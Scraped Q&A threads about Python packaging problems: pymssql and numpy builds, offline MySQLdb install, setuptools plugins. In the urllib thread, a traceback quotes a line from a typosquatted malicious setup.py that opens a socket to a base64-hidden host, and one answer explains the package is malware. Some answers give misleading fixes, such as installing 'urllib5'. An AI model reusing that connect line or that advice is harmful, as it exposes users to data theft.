As instructed in the README and here http://code.google.com/p/pymssql/wiki/Compilation, I've installed Cython (v0.14.1), FreeTDS (v0.82 using MacPorts), and I already have XCode installed with gcc.
I've run into build errors during python setup.py install:
a lot of undeclared name not builtin: with things like strlen, PyMem_Malloc, PyMem_Free, PY_LONG_LONG as well as a few ___ is deprecated, use 'cpython'
Google found me this thread http://groups.google.com/group/cython-users/browse_thread/thread/468bb80480ede699/dc8267a4274c2413 where someone addresses the first error (changed to from libc.string cimport strlen, strcpy from from stdlib cimport strlen, strcpy.)
Now I'm getting: _mssql.pyx:650:34: Cannot convert Python object to 'const_char *'
Here is the file that these issues are coming from http://code.google.com/p/pymssql/source/browse/tags/1.9.908/_mssql.pyx
My question:
If I have not prepared my system correctly for pymssql what have I done wrong?
or
If the _mssql.pyx file is using deprecated imports how do I fix them?
Have you tried building 1.9.909 from the trunk? It builds cleanly for me, where .908 did not.
Unfortunately I get import errors even though there is a successful build and install: Building pymssql on OS X
I have pip installed so I obtained Cython using:
pip install Cython
I went to www.freetds.org and got the cvs command to download the latest source (User Guide then "What to build: Packages, Tarballs, and the CVS repository"). To build this, ignore the instructions on the web site and look at the file INSTALL.CVS in the root of the repository you just downloaded. When you run ./autogen.sh use:
./autogen.sh --with-tdsver=7.0
the autogen.sh will create a configure script then the configure script will get the switch. You need to be using 7.0 for python to work with TDS and MS SQL. After the autogen.sh you do a 'make' then a 'sudo make install'.
Now you need the pymssql tarball. Unpack it and run:
python setup.py config
python setup.py build
sudo python setup.py install
that should do it.
This fork compiles like a charm:
https://github.com/blackbass1988/pymssql-macos-lion
Related
Edit: Yes I know this question already exists, except my question is a bit different and none of the solutions fixed it.
I do most of my Python stuff when I'm at work and not on my personal machine, but I decided to install it on my personal computer as well. I fresh installed python 3.6.1, and created a virtual environment with virtualenv. Then within the virtualenv I tried to pip install urllib (or any module) and I received the error:
(pdbot) C:\Users\user\Documents\pdbot>pip install urllib
Collecting urllib
Using cached urllib-1.21.1.tar.gz
Complete output from command python setup.py egg_info:
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "C:\Users\user\AppData\Local\Temp\pip-build-50tn0wlb\urllib\setup.py", line 191
s.connect((base64.b64decode(rip), 017620))
^
SyntaxError: invalid token
----------------------------------------
Command "python setup.py egg_info" failed with error code 1 in C:\Users\user\AppData\Local\Temp\pip-build-50tn0wlb\urllib\
I read elsewhere that this error had something to do with setuptools not being properly installed. So I ran this to attempt to fix the issue:
easy_install -U setuptools
I ended up receiving an even weirder error next:
(pdbot) C:\Users\zeke\Documents\pdbot>easy_install -U setuptools
Searching for setuptools
Reading https://pypi.python.org/simple/setuptools/
Downloading https://pypi.python.org/packages/a9/23/720c7558ba6ad3e0f5ad01e0d6ea2288b486da32f053c73e259f7c392042/setuptools-36.0.1.zip#md5=430eb106788183eefe9f444a300007f0
Best match: setuptools 36.0.1
Processing setuptools-36.0.1.zip
Writing C:\Users\zeke\AppData\Local\Temp\easy_install-jhg1val_\setuptools-36.0.1\setup.cfg
Running setuptools-36.0.1\setup.py -q bdist_egg --dist-dir C:\Users\zeke\AppData\Local\Temp\easy_install-jhg1val_\setuptools-36.0.1\egg-dist-tmp-8apak7kn
warning: no files found matching '*' under directory 'setuptools\_vendor'
Copying setuptools-36.0.1-py3.6.egg to c:\users\zeke\documents\pdbot\lib\site-packages
Adding setuptools 36.0.1 to easy-install.pth file
Installing easy_install-script.py script to c:\users\zeke\documents\pdbot\Scripts
Installing easy_install.exe script to c:\users\zeke\documents\pdbot\Scripts
error: [WinError 5] Access is denied: 'c:\\users\\zeke\\documents\\pdbot\\Scripts\\easy_install.exe'
This looks like a permissions error, but I ran these both in an administrator command prompt (Windows 10) and got the same result. I am the only user on this computer and I have all admin permissions. Is this virtualenv causing an issue? How do I remedy it?
EDIT: I was able to fix the permissions issue by leveraging the python executable like so:
python -m easy_install -U setuptools
But it didn't fix the python setup.py egg_info issue. I still get this error message when trying to pip install anything:
Command "python setup.py egg_info" failed with error code 1 in C:\Users\user\AppData\Local\Temp\pip-build-50tn0wlb\urllib\
I have tried both python -m pip install urllib and pip install urllib and neither work.
I had the same problem when trying to install urllib, but after doing a pip search urllib, I discovered that the problem was due to the version of urllib. From the search:
$ pip search urllib
...
> urllib5 (5.0.0) - Just increment the number and create a new lib. Never fix the original one.
At the end, a simple
pip install urllib5
within an elevated shell solved it.
Your problem has to do with permissions. The related/similar tools setup_tools, easy_install, and pip all tend to set a default set of permissions on files and folders they try to create in the package installation folder(s), rather than trying to match access permissions of the location they're installing in.
On Linux systems, where files and folders individually have permissions, this is frequently bypassed with the sudo command. On Windows, the equivalent is to run the installer as an Administrator. Since you're in the console, you have to open a console with Administrator privileges to run the pip command in.
Notable under Windows, the modules installed with pip from an Administrator console are still accessible to all users of the system that have the proper path in the PYTHONPATH system environment variable. Under Linux however, the problem is exacerbated by the fact that the files themselves may not be created with read and execute access for other users and may need to have their permissions manually modified after installation.
WARNING: urllib vs urllib2 vs urllibx
Both other answers claim that the problem is you're not specifying the correct "version" of the module in the call to pip. Neither is correct, as the error clearly indicates an installation folder access permissions violation causing the failure, but they also incorrectly recommended VERY unsafe behavior.
pip install urllib != pip install urllib5 these are two completely different packages.
The documentation for pip (https://packaging.python.org/tutorials/installing-packages/#id17) clearly says the way to specify a module version explicitly is pip install 'urllib==5'.
As part of how the package management engine implemented by pip works, running the command pip install urllib will always try to use the latest version of the urllib package, so you shouldn't need to specify the version unless you have some reason that you need a very specific version of the module.
There are two points to make in order to answer your question:
1. You are lucky you did not install that package!
The package you were trying to install was a maliciously created python package that was designed to look like a real package (in this case urllib3). If you had installed it, the package would have operated as normal except it would have sent some basic information about the system on which you installed the package to a URL (you can see more details on this here). You can read more about this fake package at either of the following links:
https://app.threatconnect.com/auth/incident/incident.xhtml?incident=5256822&owner=Common%20Community (you can sign up for a free account to view this one)
http://www.nbu.gov.sk/skcsirt-sa-20170909-pypi/index.html
Sending basic information about your systems to an unknown source isn't the worst thing you could do, but is certainly something you want to avoid when possible.
2. To properly install a package...
Specifically urllib:
To install urllib, you need to specify the version of the package you would like to install. For example, pip install urllib3.
Any package in general:
As #Elisabete Coelho suggested, you can use the pip search <package-name> feature to view the available packages. This is not perfect, however, as it may list malicious libraries like the one you were trying to install. A good guideline is that you should follow the installation instructions in a package's documentation closely to avoid any unforeseen issues. This is just an unfortunate necessity of living in a world where people make pretend python packages.
When I try to install python-asurv using setup.py, (typing "path"\python "path"\setup.py install in the command prompt), I get the following error:
building extension "twokm" sources target build\src.win32-2.7\twokmmodule.c does not exist: Assuming twokmmodule.c was generated with "build_src --inplace" command. error: '.\\twokmmodule.c' missing`
I am on windows 7 64bit with 32bit python2.7
In the zip file that I downloaded, there is setup.py, asurv.py, asurv.pyc, two licences, a readme, and twokm.pyf and twokm.f, which I think are in fortran format (don't know anything about fortran). The README just says type python setup.py install.
I think that for the twokm.pyf and twokm.f files I need to use f2py to convert them to .py files, am I right?
How can I install python-asurv?
Make sure you have installed numpy at it is dependency of python-asurv
Do pip install numpy and then Do python setup.py install in the directory you have downloaded.
Installing MySQLDb (Python module) without Internet Connection
Hi all,
I need to install MySQLDb on a SLES 11 Development Server. This Dev Server does not have access to the public internet due to corporate firewall policies. I was assuming this would merely be a nuisance which would force me to do source installations etc on things more easily installed otherwise. Instead, I have hit a wall, during my attempt to ultimately install and run Django with MySQL support.
I have downloaded and unzipped MySQL-python-1.2.4, and I am attempting to run its setup.py. However, any attempt to run setup.py, even just sudo python setup.py --help, reults in the following
Downloading http://pypi.python.org/packages/source/d/distribute/distribute-0.6.28.tar.gz
And then of course the download fails.
I downloaded and installed the current version of the distribute module (0.7.3), via sudo python setup.py build install. I assumed this would keep mysql-python's setup.py from trying to download distribute. But that does not appear to matter. I did have a quick look at mysql-client's setup.py to see where the download was being forced. It appears that its setup.py does this:
from distribute_setup import use_setuptools
use_setuptools()
Which calls this:
def use_setuptools(version=DEFAULT_VERSION, download_base=DEFAULT_URL,
to_dir=os.curdir, download_delay=15, no_fake=True):
# making sure we use the absolute path
to_dir = os.path.abspath(to_dir)
was_imported = 'pkg_resources' in sys.modules or \
'setuptools' in sys.modules
try:
try:
import pkg_resources
if not hasattr(pkg_resources, '_distribute'):
if not no_fake:
_fake_setuptools()
raise ImportError
except ImportError:
return _do_download(version, download_base, to_dir, download_delay)
And this, the import of pkg_resources fails (I have reproduced this from the command line); and the exception handler tries a download, which of course fails.
My understanding is that distribute is deprecated anyway, and that setuptools should be used instead. I do have setuptools installed; but is the mysqldb module hardcoded to use distribute, and possibly a specific version of distribute, and that's my issue? To be honest at this point I'm a bit confused about modules, dependencies, etc in Python (I'm quite mediocre at Python).
Thanks all,
Bean
git clone https://github.com/PyMySQL/PyMySQL or download tarball. for mysqldb: https://github.com/farcepest/MySQLdb1
untar it
run sudo python setup.py install
That's all.
Guess it's too late, but for the sake of the future googlers...
I had the same problem. To solve it I had to comment these lines:
if not hasattr(pkg_resources, '_distribute'):
if not no_fake:
_fake_setuptools()
raise ImportError
After this I was able to install MySQL-python via python setup.py install.
The answer to this question appears to be version dependent. MySQLDb version 1.2.5 (newest version as of this writing) and later do not require distribute so python setup.py install will work. Version 1.2.5 was released 01/2014 so this question is just that old.
I'm trying to install numpy under Python 3.3.0 running Mac OS 10.7.5 (Lion) and using the compilers that come with Xcode 4.5.1. I installed Python 3 and gfortran using homebrew without any hiccups, but pip3 install numpy fails. Looking at other suggestions online, I tried setting Clang as the C compiler using:
export CC=clang
export CXX=clang
export FFLAGS=-ff2c
but received the same error. The final line reports ValueError: underlying buffer has been detached, and I posted the full output.
So, instead I tried building directly from source using the instructions from SciPy.org. This appears to succeed; the build and install processes run to completion, although they are not shy about reporting warnings. The full log is again available as a Gist. I can then run numpy.test('full') from Python 3, and although there are some warnings about unclosed files that I don't understand, it reports that all tests pass.
Does anyone know why pip fails to build NumPy when I can apparently do it manually without a problem?
It looks like numpy now provides wheels on pypi, which should install correctly without needing to compile anything locally on your machine when using pip.
Since upgrading to subversion 1.7 I get "unrecognized .svn/entries format" when running buildout. I notice there is an unresolved bug reports for both distribute and setuptools for this error and it also seems that you can use setuptools_subversion to resolve the issue.
What I can't find out how to do is install setuptools_subversion so that buildout picks it up. Please can someone help?
I've tried
downloading it and running python setup.py install
adding it to the eggs list of the [buildout] part of my buildout configuration
You need to install it at the python site-packages level; easy_install (used under the hood by buildout) needs it available before it'll install anything else.
That said, the python setup.py install stanza should have installed it just fine; check by running the following test:
$ python -m setuptools_subversion
/opt/local/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/setuptools_subversion.py directory
That should print the installation path of the module, like it did for me in the above example. You could try to use pip or easy_install for automatic download:
$ pip install setuptools_subversion
or
$ easy_install setuptools_subversion
You can do that in a virtualenv if you want to isolate the installation. Because this is basically a dependency for svn 1.7, installing this at the same level as the svn binary (usually system wide) is certainly acceptable and the norm.
Note that the unrecognized .svn/entries format error message will not disappear, but your buildout will otherwise succeed. The message is printed no matter what as easy_install first tries the internal .svn parser before deferring to the external plugin.
If you really, really want to verify if the plugin is installed, run the following python code:
import pkg_resources
for entrypoint in pkg_resources.iter_entry_points('setuptools.file_finders'):
print entrypoint
On my system this prints:
svn = setuptools_subversion:listfiles
svn_cvs = setuptools.command.sdist:_default_revctrl
git = setuptools_git:gitlsfiles
hg = setuptools_hg:hg_file_finder